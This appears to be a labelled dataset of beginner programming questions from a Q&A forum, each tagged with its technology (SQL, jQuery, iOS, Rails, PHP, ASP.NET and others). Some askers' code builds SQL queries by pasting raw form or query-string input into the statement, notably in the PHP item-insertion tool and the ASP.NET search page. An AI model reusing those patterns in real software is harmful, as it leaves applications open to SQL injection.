merging to stored procedures  one to many  so i am not sure what i want can be done but here goes... i have two stored proceedures... one counts the amount of free time a person has to work per day and puts the record set in a temp table for speed... the results are as  fields being date  personid  hours  minutes.    <pre><code>2013-04-03  10000305    8   30 2013-05-03  10000305    8   30 </code></pre>   within their working day they complete calls  each call has a duration recorded. my second sp works out the time they actually worked during that day. results are as follows  fields are the same  date  person  hours  minutes.    <pre><code>2013-04-25  10000305    7   20 2013-04-26  10000305    11  7 </code></pre>   the problem: i have to call two sp s and then organise. what i was hoping was that i could put all into one sp and just have a summary which would look like the below. the problem is the second sp counts many many records during one day to get its sum  whereas the first sp is just one day and a duration. when i tried to add together my results went crazy and bought back millions of records. is there a simple way or is it not possible    <pre><code>**date**    **user**   **hours**    **minutes**  **actual hours**   **act mins** 2013-04-25  10000305    8            30           11                    7 </code></pre>   here is a code snippet  both are very similar in how they work   <pre><code>create table #totalusedtime    (personid int     [date] datetime    office int     [hours] int     [minutes] int)      declare @getusedtime nvarchar(max);         set @getusedtime = n  select  personid  [date]  office  totalusedtime / 3600 as hours  (totalusedtime % 3600) / 60 as minutes      from  ( select  personid  [date]  office  datediff(second  starttime  end) as totalusedtime from calls where completed is not null)  x            insert #totalusedtime exec sp_executesql @getusedtime;          select cast([date] as date) date  #totalusedtime.personid          cast(sum([hours] * 60 + [minutes])/60 as int) as hours          sum([hours] * 60 + [minutes]) - 60 * cast(sum([hours] * 60 + [minutes])/60 as int) as minutes          people.fullname         from #totalusedtime         inner join people on people.personid = #totalusedtime.personid         where #totalusedtime.[date] between @startdate and @enddate and office = @office         and people.personid = @personid          group by cast([date] as date)  #totalusedtime.personid  people.fullname]          end </code></pre>,sql
order by case in mysql statement  i have been checking out the forum a lot for this question but as i am just a beginner i could not find an answer that i could use to my code work with my little knowledge. this is what i am trying to solve:    i have many products in my shop. there are 4 different types.    <ol> <li>product_name starts with  aa- </li> <li>product_name starts with  bb- </li> <li>product_name starts with  cc- </li> <li>product_name starts with  df- </li> </ol>   no when i expose the products to the viewer i want to use order by asc.     but with product  cc-  en  df-  i want it to be ordered desc.     and if my product_name starts with  bb-  it should be ordered by price ( which is also called in the select statement )    i learned i should use case for this. but i don t know how exactly.,mysql
how to prevent jquery ajax call firing twice  i am using jquery 2.1.4  i have a table with repeated check boxes  when i check the check box  it calls java web service and updates the status for that record; since the ajax call is made twice  its going to the error section;  how to avoid making call twice; i tried async: false  did not work; after looking at some sites  tried using e.preventdefault()  adding this makes call once but  the check boxes wouldn t get uncheck and do not disappear;  the expected behavior is when check box is checked  make service call and change the status to pending and disappear the checkbox;,jquery
rails getting routes name in route.rb with controller actions  i m a real beginner of rails.    can i get multiple routes from one controller + many actions     for example    <pre><code>resources :something </code></pre>   get  something#index    something#show    something#update ...etc.    i m just curious if there is a command to get route name from the actions.    for example  in a controller named  pledges     <pre><code>class pledgescontroller &lt; applicationcontroller     def home     end      def abc     end      def defg     end      def hijk     end end </code></pre>   can any commands get  pledges#home    pledges#abc    pledges#defg   pledges#hijk,ruby-on-rails
loading data to use in uitableview cellforrowatindexpath  i have a uitableview and i am populating it with image data. this data is loaded fine  but when the records increase in number (e.g. more than 50) the app starts to have problems like freezes and more. i understood that this is the line in my cellforrowatindexpath that is causing the issue:   <pre><code>nsdata* data = [dkstoremanager loadfilewithname:[finalarray objectatindex:indexpath.row] forfoldernumber:[_foldercode intvalue] foruser:[_passeduserid intvalue] andtype:_foldertype];     nsdictionary *mydictionary = (nsdictionary*) [nskeyedunarchiver unarchiveobjectwithdata:data]; </code></pre>   i understood it because when i loaded the data only once in the viewdidload an used mydictionary as a global variable  then all the cells where logically be the same  but the table scrolled fine fine and the app doesn t crash. finalarray is an array with the names of the files ordered in alphabetical order and the number of rows corresponds to its count. can anyone suggest a way to load  this data outside of the cellforrowatindexpath method  how do i then pass everything on to the cellforrowatindexpath if all of the nsdata are different     what i have tried to do:    1) i tried to subclass the uitableviewcells and load the data from a method:   <pre><code>cell.filename = [finalarray objectatindex:indexpath.row]; cell.passeduserid = _passeduserid; cell.foldercode = _foldercode; cell.foldertype = _foldertype;      [cell loadcontents]; </code></pre>   i made sure using a bool that loadcontents runs only once in the subclass. when i scroll down or up  cells change position. its a mess...    2) i noticed that if i remove the     if (cell == nil) { and stop reusing the cell  there are no issues with the cells changing place  but there are huge loading time issues    2) moving everything in the  if (cell == nil) { method  the cells still change place on scroll but the scroll is faster...    4) loading all the data in the viewdidload displaying a  loading...  but the loading is really slow  it doesn t really work out.    5) using dispatch_async( dispatch_get_global_queue(dispatch_queue_priority_default  0)  ^{ on the data load  but doesn t work  the table scrolls really slow...    ps  mydictionary contains the image and the name of the cell.    edit:    all the data is saved locally  the method  loadfilewithname  loads a saved file in the documents directory.,ios
attempt to present <slcomposeviewcontroller> on <uinavigationcontroller> whose view is not in the window hierarchy  i am trying to implement facebook share on cell selection of a uitableview. however  i get the following error    attempt to present  on  whose view is not in the window hierarchy!    my code:   <pre><code>- (void)tableview:(uitableview *)tableview didselectrowatindexpath:(nsindexpath *)indexpath {      uitableviewcell * cell = [tableview cellforrowatindexpath:indexpath];  if (indexpath.section == 1)     {      if(indexpath.row==0)     {         slcomposeviewcontroller * fbsheetobj = [slcomposeviewcontroller composeviewcontrollerforservicetype:slservicetypefacebook];          [fbsheetobj setinitialtext:@ hanuman chalisa app ];         [self presentviewcontroller:fbsheetobj animated:yes completion:nil];      } } } </code></pre>   any idea please      thanks,ios
trouble with rails tutorial  i am working through a rails tutorial  which i am still very new to. the app is designed to simply show status posts comparable to facebook. at some point i must have missed something  and can t figure out where. basically the status content is no longer displaying for me.     here is the index:   <pre><code>&lt;div class= page-header &gt;     &lt;h1&gt;all of the statuses&lt;/h1&gt; &lt;/div&gt;  &lt;%= link_to  post a new status   new_status_path  class:  btn btn-success  %&gt;  &lt;% @statuses.each do |status| %&gt; &lt;div class= status &gt;     &lt;strong&gt;name&lt;/strong&gt;         &lt;p&gt;&lt;%= status.content %&gt;&lt;/p&gt;     &lt;div class= meta &gt;         &lt;%= link_to time_ago_in_words(status.created_at) +   ago   status %&gt;         &lt;span class= admin &gt;                 | &lt;%= link_to  edit   edit_status_path(status) %&gt; |             &lt;%= link_to  delete   status  method: :delete  data: {confirm:  are you sure  } %&gt;         &lt;/span&gt;     &lt;/div&gt; &lt;/div&gt; &lt;% end %&gt; </code></pre>   here is the form:   <pre><code>&lt;%= simple_form_for(@status  html: {class:  form-horizontal }) do |f| %&gt;   &lt;% if @status.errors.any  %&gt;     &lt;div id= error_explanation &gt;       &lt;h2&gt;&lt;%= pluralize(@status.errors.count   error ) %&gt; prohibited this status from being saved:&lt;/h2&gt;        &lt;ul&gt;       &lt;% @status.errors.full_messages.each do |message| %&gt;         &lt;li&gt;&lt;%= message %&gt;&lt;/li&gt;       &lt;% end %&gt;       &lt;/ul&gt;     &lt;/div&gt;   &lt;% end %&gt;    &lt;%= f.input :content %&gt;   &lt;div class= form-actions &gt;      &lt;%= f.button :submit %&gt;   &lt;/div&gt; &lt;% end %&gt; </code></pre>   <code>status.content</code> is not displaying at all and i can t figure out why. please let me know if i failed to include a file  i didn t want to include a ton of unnecessary code.    thanks!    controller:   <pre><code>class statusescontroller &lt; applicationcontroller   before_action :set_status  only: [:show  :edit  :update  :destroy]    # get /statuses   # get /statuses.json   def index     @statuses = status.all   end    # get /statuses/1   # get /statuses/1.json   def show   end    # get /statuses/new   def new     @status = status.new   end    # get /statuses/1/edit   def edit   end    # post /statuses   # post /statuses.json   def create     @status = status.new(status_params)      respond_to do |format|       if @status.save         format.html { redirect_to @status  notice:  status was successfully created.  }         format.json { render :show  status: :created  location: @status }       else         format.html { render :new }         format.json { render json: @status.errors  status: :unprocessable_entity }       end     end   end    # patch/put /statuses/1   # patch/put /statuses/1.json   def update     respond_to do |format|       if @status.update(status_params)         format.html { redirect_to @status  notice:  status was successfully updated.  }         format.json { render :show  status: :ok  location: @status }       else         format.html { render :edit }         format.json { render json: @status.errors  status: :unprocessable_entity }       end     end   end    # delete /statuses/1   # delete /statuses/1.json   def destroy     @status.destroy     respond_to do |format|       format.html { redirect_to statuses_url  notice:  status was successfully destroyed.  }       format.json { head :no_content }     end   end    private     # use callbacks to share common setup or constraints between actions.     def set_status       @status = status.find(params[:id])     end      # never trust parameters from the scary internet  only allow the white list through.     def status_params       params.require(:status).permit(:name  :content)     end end </code></pre>   log from terminal (i think this is it )   <pre><code>started post  /statuses  for 127.0.0.1 at 2014-06-27 11:47:14 -0700 processing by statusescontroller#create as html   parameters: { utf8 =&gt; ✓        authenticity_token =&gt; 0e4j7grzxbusmcf+hoe69gjzjpnprt/24p5w4t9/cca=    status =&gt;    { content =&gt; new status test }   commit =&gt; create status } warning: can t mass-assign protected attributes for status: content     app/controllers/statuses_controller.rb:27:in `create     (0.1ms)  begin transaction   sql (0.7ms)  insert into  statuses  ( created_at    updated_at ) values (    )      [[ created_at    2014-06-27 18:47:14.783419 ]  [ updated_at    2014-06-27    18:47:14.783419 ]]    (1.0ms)  commit transaction redirected to http://0.0.0.0:3000/statuses/9 completed 302 found in 11ms (activerecord: 1.8ms) </code></pre>   status model:   <pre><code>class status &lt; activerecord::base end </code></pre>,ruby-on-rails
i have this issue when trying to write to a database in sql server 2008 r2  this is the following code. i am trying to create a tool with the website so that i can input items into sql database vs. using the gmtool for the game which is a seperate tool. i can manually input the information and it works 100%. but  when i try to use the following code it says that it was successful but  there is no information posted in the database. any ideas guys    <pre><code>&lt; php require_once( config.php ); require_once( config/auth.php );  &gt; &lt; php include( head.php );  &gt; &lt; php include( menu.php );  &gt; &lt; php if($logeado == 1){ &gt; &lt;td id= column2 &gt;  &lt;div id= title &gt;&lt;h2&gt;give item&lt;/h2&gt;&lt;/div&gt;&lt;div id= address &gt;home &gt; account and item&lt;/div&gt;  &lt;div id= content &gt; &lt;hr&gt; note - the world is 0 for zenfinix&lt;br&gt;  &lt;form method= post  action= # &gt; &lt;input value= world  id= world  name= world  vaulue=  &gt; &lt;input value= account  id= account  name= account  vaulue=  &gt; &lt;input value= item number  id= index  name= index  vaulue=  &gt; &lt;input value= item count  id= number  name= number  vaulue=  &gt; &lt;input type= submit  value= continue  onclick= if (! confirm( are you sure you want to continue  )) return false; &gt; &lt;input type= hidden  name= action  value= submitted &gt; &lt;/form&gt; &lt;br&gt;&lt;br&gt; &lt; php if ($_post[ action ] ==  submitted ) { global $link; mssql_select_db( userlogin  $link);  $acct = $_post[ acct ];  $world = $_post[ world ]; $userid = $_post[ account ]; $item = $_post[ index ]; $itemno = $_post[ number ]; $datetime =  getdate() ; $querys = mssql_query( select * from dbo.account where userid =  $userid   ); $qrow = mssql_fetch_array($querys);  if($qrow[0] ==   ){ echo  account does not exist! ; } else {  {  }  global $link; mssql_select_db( tantra  $link); mssql_query ( insert into dbo.tantraitem(world  account  itemindex  itemcount  datetime) values ( $world    $userid    $item    $itemno    $datetime  ); echo  successfully added item(s)! ; }   }  &gt; &lt;/div&gt; &lt;/div&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; &lt; php }  &gt; &lt; php include( footer.php );  &gt; </code></pre>    this is the sql database. dbo.tantraitem.  design as follows: id int does not allow nulls world int does not allow nulls account varchar(50) does not allow nulls itemindex int does not allow nulls itemcount smallint does not allow nulls datetime datetime does allow nulls,php
mysql join multiple tables not working  i m not sure why this isn t working. if i join either table separately  it comes back with the appropriate results  but when i try to join them both  i get 0 results. (car_id and boat_id are both primary keys on their tables.)    <pre><code>$query =  select              *         from                         posted c             join posted_car e on c.car_id = e.car_id             join posted_boat g on c.boat_id = g.boat_id         where             c.posted =  posted              order by date desc limit 0  30 ;         $resultboth = mysql_query($query  $db) or die(mysql_error($db)); </code></pre>   might be worth noting that when i do   <pre><code>left join posted_car e on c.car_id = e.car_id right join posted_boat g on c.boat_id = g.boat_id </code></pre>   i get results as if i had only joined the posted_boat table. if anyone could point me in the right direction...it would be much appreciated.,mysql
validate this input with  +  symbol only  i have a <code>&lt;input type= text  id= phone-request &gt;</code>. i want to validate this input with  +  symbol only can type once in first of input  and allow user type number only like this <a href= https://numverify.com/  rel= nofollow noreferrer >https://numverify.com/</a>.,html
handling font formatting in ios  under android  i am used to the <code>html.fromhtml</code> method so that i can use pseudo html in my translations like <code>&lt;string name= xxx &gt;&amp;lt;b&gt;%s&amp;lt;/b&gt; @%s&lt;/string&gt;</code> to format username with her company and having username in bold.    how do i do the same kind of thing under ios      am i required to concat multiple <code>nsattributedstring</code> manually in code,ios
asp.net getting the url parameter and putting it in textbox value  i have a master page which has a form in it with a <code>textbox</code>  when i press enter it redirects me to <code>results.aspx srch=search_term</code> and i want to give that <code>textbox</code> the searched term. the problems is that the <code>results.aspx.cs</code> doesn t see the <code>id</code> of the masterpage s <code>textbox</code>. is there any other method to achieve this     this is the master page:   <pre><code>&lt;%@ master language= c#  autoeventwireup= true  codebehind= masterpage.master.cs  inherits= groups.site1  %&gt;  &lt;!doctype html&gt;  &lt;html xmlns= http://www.w3.org/1999/xhtml &gt; &lt;head runat= server &gt;     &lt;title&gt;&lt;/title&gt;     &lt;link href= css/bootstrap.min.css  rel= stylesheet  /&gt;     &lt;link href= css/site.css  rel= stylesheet  /&gt;     &lt;script src= js/jq.js &gt;&lt;/script&gt;     &lt;script src= js/bootstrap.min.js &gt;&lt;/script&gt;     &lt;asp:contentplaceholder id= head  runat= server &gt;     &lt;/asp:contentplaceholder&gt; &lt;/head&gt; &lt;body&gt;     &lt;form id= form1  runat= server &gt;         &lt;header&gt;             &lt;div class= container &gt;                 &lt;div class= row &gt;                     &lt;div class= col-sm-2 &gt;                         &lt;h2&gt;&lt;a href= default.aspx &gt;groups&lt;/a&gt;&lt;/h2&gt;                     &lt;/div&gt;                     &lt;div class= col-sm-3 &gt;                         &lt;asp:panel runat= server  defaultbutton= button1 &gt;                             &lt;div class= form-group search input-group &gt;                                 &lt;span class= input-group-addon &gt;&lt;span class= glyphicon glyphicon-search &gt;&lt;/span&gt;&lt;/span&gt;                                 &lt;asp:textbox id= search  placeholder= cauta grup...  class= form-control  runat= server &gt;&lt;/asp:textbox&gt;                                  &lt;asp:button id= button1  runat= server  style= display:none  onclick= btnsearch_click  /&gt;                             &lt;/div&gt;                         &lt;/asp:panel&gt;                     &lt;/div&gt;                     &lt;div class= col-sm-7 text-right &gt;                         &lt;ul class= nav navbar-nav &gt;                             &lt;% if (session[ uid ] == null) { %&gt;                                 &lt;li&gt;&lt;a href= registration.aspx &gt;register&lt;/a&gt;&lt;/li&gt;                                 &lt;li&gt;&lt;a href= login.aspx &gt;login&lt;/a&gt;&lt;/li&gt;                             &lt;% } else { %&gt;                                 &lt;li class= dropdown &gt;                                     &lt;a href= #  class= dropdown-toggle  data-toggle= dropdown  role= button  aria-haspopup= true  aria-expanded= false &gt;&lt;%= session[ uname ]  %&gt; &lt;span class= caret &gt;&lt;/span&gt;&lt;/a&gt;                                     &lt;ul class= dropdown-menu &gt;                                         &lt;li&gt;&lt;a href= addgroup.aspx &gt;add group&lt;/a&gt;&lt;/li&gt;                                         &lt;li role= separator  class= divider &gt;&lt;/li&gt;                                         &lt;li&gt;&lt;a href= logout.aspx &gt;logout&lt;/a&gt;&lt;/li&gt;                                     &lt;/ul&gt;                                 &lt;/li&gt;                             &lt;%} %&gt;                         &lt;/ul&gt;                     &lt;/div&gt;                 &lt;/div&gt;             &lt;/div&gt;         &lt;/header&gt;         &lt;asp:contentplaceholder id= header  runat= server &gt;         &lt;/asp:contentplaceholder&gt;         &lt;div class= container &gt;             &lt;asp:contentplaceholder id= subheader  runat= server &gt;             &lt;/asp:contentplaceholder&gt;             &lt;asp:contentplaceholder id= contentplaceholder1  runat= server &gt;             &lt;/asp:contentplaceholder&gt;         &lt;/div&gt;     &lt;/form&gt;     &lt;footer&gt;         &lt;div class= container &gt;             &lt;span&gt;copyright &amp;copy; 2015 groups&lt;/span&gt;         &lt;/div&gt;     &lt;/footer&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   and this it the <code>results.aspx</code> behindcode  the problem is here <code>search.text = request.querystring[ srch ];</code>  <code>search</code> doesn t exist in <code>results.aspx</code>:   <pre><code>protected void page_load(object sender  eventargs e)         {             if(!string.isnullorempty(request.querystring[ srch ]))             {                 string srch = request.querystring[ srch ];                 search.text = request.querystring[ srch ];                  //perform search and display results                 string connstring = system.configuration.configurationmanager.connectionstrings[ groupsconnstring ].tostring();                  conn = new mysql.data.mysqlclient.mysqlconnection(connstring);                  conn.open();                 querystr =   ;                 querystr =  select g.* concat(firstname     lastname) as name from app_groups.groups g left join users u on u.id = g.id_user where group_name like  %  + srch +  %  or group_type like  %  + srch +  %  ;                 cmd = new mysql.data.mysqlclient.mysqlcommand(querystr  conn);                  reader = cmd.executereader();                 gname =   ;//group name                 gtype =   ;//group type                 uname =   ;//user name                 id =   ;                 warning =   ;                 id_owner =   ;                  if (reader.hasrows)                 {                     while (reader.hasrows &amp;&amp; reader.read())                     {                         uname = reader.getstring(reader.getordinal( name ));                         gname = reader.getstring(reader.getordinal( group_name ));                         gtype = reader.getstring(reader.getordinal( group_type ));                         id = reader.getstring(reader.getordinal( id ));                         id_owner = reader.getstring(reader.getordinal( id_user ));                         warning = reader.getstring(reader.getordinal( warning ));                          panel pan = new panel();                         pan.cssclass =  col-sm-4 group ;                         if ((session[ uid ] != null &amp;&amp; session[ uadmin ].equals( 1 )) || id_owner.equals(session[ uid ]))                         {                             adminctrls = new panel();                             adminctrls.cssclass =  adminctrls ;                             btn = new button();//delete group button for admins only                             btn.click += new eventhandler(deletegroup);                             btn.id =  sterge ;                             btn.cssclass =  btn btn-danger btn-xs ;                             btn.text =  sterge grup ;                             btn.commandargument = id;                             //btn.attributes.add( style    float:right; );                             adminctrls.controls.add(btn);                              if (session[ uadmin ].equals( 1 ))                             {                                 if (!warning.equals( 1 ))                                 {                                     btn = new button();//warn owner button for admins only                                     btn.click += new eventhandler(warnowner);                                     btn.id =  warn ;                                     btn.cssclass =  btn btn-warning btn-xs ;                                     btn.text =  avertizeaza owner grup ;                                     btn.commandargument = id;                                     adminctrls.controls.add(btn);                                 }                                 else                                 {                                     btn = new button();//warn owner button for admins only                                     btn.id =  warn ;                                     btn.enabled = false;                                     btn.cssclass =  btn btn-warning btn-xs ;                                     btn.text =  a fost avertizat ;                                     adminctrls.controls.add(btn);                                 }                             }                         }                         if (adminctrls != null)                         {                             pan.controls.add(adminctrls);                         }                         pan.controls.add(new literalcontrol( &lt;span class= title text-center &gt;  + gname +  &lt;/span&gt;&lt;br/&gt; ));                         pan.controls.add(new literalcontrol( &lt;span&gt;owner: &lt;span class= owner &gt;  + uname +  &lt;/span&gt;&lt;/span&gt;&lt;br/&gt; ));                         pan.controls.add(new literalcontrol( &lt;span&gt;categorie: &lt;span class= type &gt;  + gtype +  &lt;/span&gt;&lt;/span&gt;&lt;br/&gt; ));                         groupsshow.controls.add(pan);                     }                 }                  reader.close();                 conn.close();             }         } </code></pre>   thank you!,asp.net
howto : form with multiple models - re-render form after errors (fields populated)  i have a wizard  saved in 3 models  so for input i used a form_tab with text_fields  radio_buttons ... it works great except validation : when i fail i drive back to my wizard using redirect_back fallback_location ... but my form is blank  the user lose previous entered values.    questions :  - is it ok to use form_tag (i have 3 models and not straightforward recording - how to  save  or put back previously entered values       thanks     greg    my return loop :    <pre><code>return redirect_to home_wizard_path  notice: @user.errors.full_messages.join(   ) </code></pre>   or  for the same result :    <pre><code>return redirect_back fallback_location: home_wizard_path  notice: @user.errors.full_messages.join(   ) </code></pre>   in my form :    <pre><code>&lt;%= form_tag(wizard_post_path  method: :post) do %&gt; &lt;div class= input-field col s6 &gt;       &lt;%= text_field_tag( nom ) %&gt;       &lt;%= label_tag( nom    nom ) %&gt; &lt;/div&gt; </code></pre>,ruby-on-rails
how do i get c++ to ignore incorrect input   i m creating a simple console application in c++ that contains a while loop that takes two integers as input. but if i enter a character that is not a integer  such as  a   the loop becomes infinite. how do i stop this     my code is supposed to terminate upon entry of the char value  |  but it takes integers in as input and i m not sure how to address this problem.     my code so far (trying to end a loop upon input of the char value  | ):   <pre><code>int main() {      int x = 0;     int y = 0;     char c = {x};     char d = {y};      while (c !=  | )     {         cin &gt;&gt; x &gt;&gt; y;         // later i will do stuff with x and y     }      system( pause );     return 0; } </code></pre>,c++
letter numeration ( a   b   c   etc.) from digit in php  what is the php function to get letter (1 char symbol)  based on it position. like 0 position - <code>a</code>  <code>1st</code> - <code>b</code>  etc. i tried this:   <pre><code> a +5 </code></pre>   i was expecting <code>f</code> but i get <code>5</code> instead.,php
unauthorizedaccessexception setting directory security  i have an application where i would like users to be able to perform an sql/server backup to their home directory. because sql is running under the network service account it gives a file system permission error when attempting the backup. i ve tried the following code and a few variants to try giving full control to the network account:   <pre><code>public sub givefoldernetworkaccess(filepath as string)     dim sid as securityidentifier = new securityidentifier(wellknownsidtype.networkservicesid  nothing)     dim folderinfo as io.directoryinfo = new io.directoryinfo(filepath)     dim folderacl as new directorysecurity     folderacl.addaccessrule(new filesystemaccessrule(sid  filesystemrights.fullcontrol  inheritanceflags.containerinherit or inheritanceflags.objectinherit  propagationflags.none  accesscontroltype.allow))     folderinfo.setaccesscontrol(folderacl)  end sub </code></pre>   hower i get a system.unauthorizedaccessexception exception when calling folderinfo.setaccesscontrol. i ve also tried the code on non-windows paths where the user has full control and get the same result. any ideas appreciated  i m currently testing this under windows 7 and .net framework 4.,.net
loading different class s view on button press  i have a class with nib file. on that nib file i put a button.    i want when somebody press that button it take you to another class s view i.e. nib file.     i have tried this     <pre><code>formcontroller *controller = [[formcontroller alloc] initwithnibname:@ countriesviewcontroller  bundle:nil];  [self.navigationcontroller pushviewcontroller:controller animated:yes]; </code></pre>,iphone
elegant comparing strings in two nsarrays  dear all. we have 2 arrays(currentcarriers and companylist with strings inside. a final solution have to be array  which exclude same string from first array. bellow is a my solutions  but probably two for loops is not like cocoa style. maybe somebody can suggest something better    <pre><code>for (nsstring *carrier in currentcarriers) {     for (nsstring *company in  companylist)     {         if ([company isequaltostring:carrier]) [removedcompanies addobject:company];        } }      nsmutablearray *companiesforadd = [nsmutablearray arraywitharray:companylist]; [companiesforadd removeobjectsinarray:removedcompanies]; </code></pre>,objective-c
passing input text to action field  i want to pass the input field to the form action part covering field; so it looks like /{user}/some_integer_in_field if you know what i mean.   <pre><code>&lt;form action= &lt;c:url value= ${user}/ field /&gt;            method= post  &gt;         &lt;input type= hidden  name= _method  value= delete &gt;         &lt;input type= text  name= field  id= field /&gt;         &lt;input type= submit  value= delete &gt;     &lt;/form&gt; </code></pre>   can someone help  is this possible,html
interacting with rad grid  how to declare the custom columns   in web application[asp.net]  i am using telerik grid control  i am bind the data to grid when it is autocompletecolumns=true  now  i want to bind the data autogeneratecolumns=false how can i place controls like in asp.net grid we use    <pre><code>&lt;columns&gt;&lt;asp:templatefileds&gt;&lt;itemtemplate&gt;&lt;asp:label id = lblid  runat= server     text= &lt;%# eval( empid ) #&gt; /&gt;&lt;/itemtemplage&gt;&lt;/asp:templae&gt;  </code></pre>,asp.net
jquery dialogbox  i want to add a confirmation button on dialog box to submit the form. however  when i am clicking on the confirm button   the form is not submitted and just the dialog box is closed. please let me know how can i handle this problem and submit the form by clicking on the confirm button on he dialog box. to explain more  i can say that there is just s form when i am using document.user.submit() is not submiting the form.(i reckon becuase i already write $( #user ).submit(function(){});)    <pre><code>$(function() {      $( #user ).submit(function() {     if (change == 1) {         j_alert( changes to your financial details may affect your gst or tax status for items already for sale via momento shop. please read and confirm the momento shop &lt;a target= _blank  href= /pages/terms_print &gt;terms and conditions.&lt;/a&gt; );         return false;     }      return true;     });      var change = 0;     $( #abn_gst ).change(function() {         change = 1;     });      var j_alert = function (msg) {     $( .dialog-msg ).dialog( option    title    financial settings warning );     $( .dialog-msg ).html( &lt;br /&gt;&lt;br /&gt;&lt;img src= /affiliate/images/ajax-loader.gif &gt; );     $( .dialog-msg ).html( &lt;br /&gt; + msg);     $( .dialog-msg ).dialog( open );     $( .dialog-msg ).dialog(              option                buttons   {                  cancel  : function() {                         $(this).dialog( close );                 }                   confirm  : function() {                            document.getelementsbytagname( form )[0].submit();                 }             }         );     };     } ); </code></pre>   the html form:   <pre><code>&lt;form id= user  name= user  class= form  enctype= multipart/form-data  method= post &gt; ... &lt;/form&gt; </code></pre>,jquery
call a third party app from another app  is it possible to launch any iphone/ipad application from within another app  for example in my application if i want the user to read a document say a pdf file from any of the installed apps on iphone or an ipad say pdfreaderlite. how can i launch this app from my app.    how can we know which all installed apps support reading of documents and show a list to open with any of these apps from my app     how do we get the url schemes for the installed apps,iphone
new position of a image after animation in android  iam using a translate animation with bounce effect after animation finish i want the new top margin of a image but i still get a old top margin of a image that is a 0 my question is how i get a new margin    my main activity is.   <pre><code>    package iotechsolutions.location.ira;     import android.app.activity;     import android.os.bundle;     import android.util.log;     import android.view.menu;     import android.view.view;     import android.view.animation.animation;     import android.view.animation.animation.animationlistener;     import android.view.animation.animationutils;     import android.widget.imageview;     import android.widget.linearlayout;     import android.widget.linearlayout.layoutparams;     import android.widget.textview;     import android.widget.toast;      public class mainactivity extends activity      {         animation logoanimation; // for moving logo         animation textanimation; // for moving text         imageview mainlogo;         textview logotext;         linearlayout.layoutparams param;         view view;         @override         protected void oncreate(bundle savedinstancestate)          {             super.oncreate(savedinstancestate);             setcontentview(r.layout.activity_main);             mainlogo=(imageview)findviewbyid(r.id.main_logo);             logotext=(textview)findviewbyid(r.id.logo_text);             param=(linearlayout.layoutparams)mainlogo.getlayoutparams();             logoanimation=animationutils.loadanimation(getapplicationcontext() r.anim.main_logo_translate);             textanimation=animationutils.loadanimation(getapplicationcontext() r.anim.logo_text_translate);             mainlogo.setanimation(logoanimation);             logoanimation.setanimationlistener(new animationlistener()             {                 @override                 public void onanimationend(animation arg0) {                       try                     {                      toast.maketext(getbasecontext() integer.tostring( param.topmargin)  toast.length_long).show();                     }                     catch(exception e)                     {                         log.d( error  e.getmessage());                     }                   }                  @override                 public void onanimationrepeat(animation arg0) {                     // todo auto-generated method stub                  }                  @override                 public void onanimationstart(animation arg0) {                     // todo auto-generated method stub                  }                 });             logoanimation.start();          }          @override         public boolean oncreateoptionsmenu(menu menu)         {             // inflate the menu; this adds items to the action bar if it is present.             getmenuinflater().inflate(r.menu.main  menu);             return true;         }      } </code></pre>   but in toast i get the old margin position of a image how i get the new position of my image.,android
on `refresh` getter error message as  cannot get` the page  how to fix it   i have a login form  once the user filled the <code>username</code> and <code>password</code> i am redirecting them to <code>home</code> page.    for that i do like this:   <pre><code>$scope.submitlogin = function (valid) {          if(!valid) return;          var data = $scope.login;         $location.url( /home ); //redirecting to home page.      } </code></pre>   works fine. but after landing to that page  in case of <code>refresh</code> the page  the url is still exist as <code>http://localhost:3000/home</code> - but instead of loading the page i am getting message as <code>cannot get /home</code> - what is the problem here     how to fix this  or what is the mistake i do here  any one help me to sort this please     thanks in advance.    <strong>update</strong>    here is my root provider for reference:   <pre><code>(function () {       user strict ;      angular.module( tcpapp   [ ngroute   ngresource    nganimate ])      .config(function ($routeprovider  $locationprovider) {          $locationprovider.html5mode(true);          $routeprovider             .when ( /   {                 templateurl :  views/login/login.html                   controller  :  logincontroller          });          $routeprovider             .when ( /home   {                 templateurl :  views/home/home.html                   controller  :  homecontroller          });          $routeprovider             .otherwise ({                 redirectto: /          });     })  })(); </code></pre>,angularjs
call html control in code behind  how can i get gridview  html textbox value   in .aspx.cs code   e.g. :   <pre><code>&lt;input id= frequency  name= customername  type= text  style= width: 44px  /&gt; </code></pre>   if i use the bellow code  then i can get the value on selectedindex event.   <pre><code>string n = string.format( {0}   request.querystring[ customername ]); </code></pre>   i want to use bellow syntax.   <pre><code>textbox_label1 = (textbox)e.row.findcontrol( frequency ); </code></pre>   <strong>i don t want to user the runat= server  on html control .</strong>    from gridview i need to call a popup popup return a value  i use the bellow code on javascript to do that   <pre><code> window.opener.document.getelementbyid( customername ).value = val;                               window.close(); </code></pre>   in my gridview .if i put the runat= server  then return value not set  so i need to remove the runat= server .it also not work if i put the asp:textbox on grid.help me to return popup  value on gridview asp:textbox    thanks!,asp.net
how to get the title of the metadata which is placed in directories in resources folder  i am new to iphone programming. i want to get the title of mp3 file which is located in directory of resourse folder     resourse folder structure is following    resourse    raj(directory)---->1.mp3               ---->2.mp3    here i know to get the path of the file if i get path it shows like this    /users/chary/library/application support/iphone simulator/5.0/applications/b02404e5-52dc-49b6-8dbb-c9946e4331af/bibleplayer.app/raj/1.mp3    i have a picker view in that i have to show only title like as  1   2  for 1.mp3 and 2.mp3 but how can get like this it will show the entire path    so if any body know this please help me.,iphone
string length check appears to not work  no-brainer for you but why is this not working in my javascript document     <pre><code>&lt;script&gt; prompt( are you ok  );  if ( no .length &gt; 3) {  window.location.href =  http://google.com ;  } else {  window.location.href =  http://facebook.com ; } &lt;/script&gt; </code></pre>   the problem is that even when i type something that is bigger (and smaller) than  no   it takes me to google. i just recently started with js and thought that it would be cool if i could add it to my website.,javascript
making a period bold in javascript  so i am working on something simple and hit a problem. i want to use a period as an index s display instead of numbers like 1 2 3 4 ... i blatantly just inserted period and it worked like i wanted it to but the size was small. i have been googling and haven t found a solution. does anyone know an ascii for something that i can use to make the period look like a bullet point(usually big) so anyone who s using my program can click on the big bullet(period).,javascript
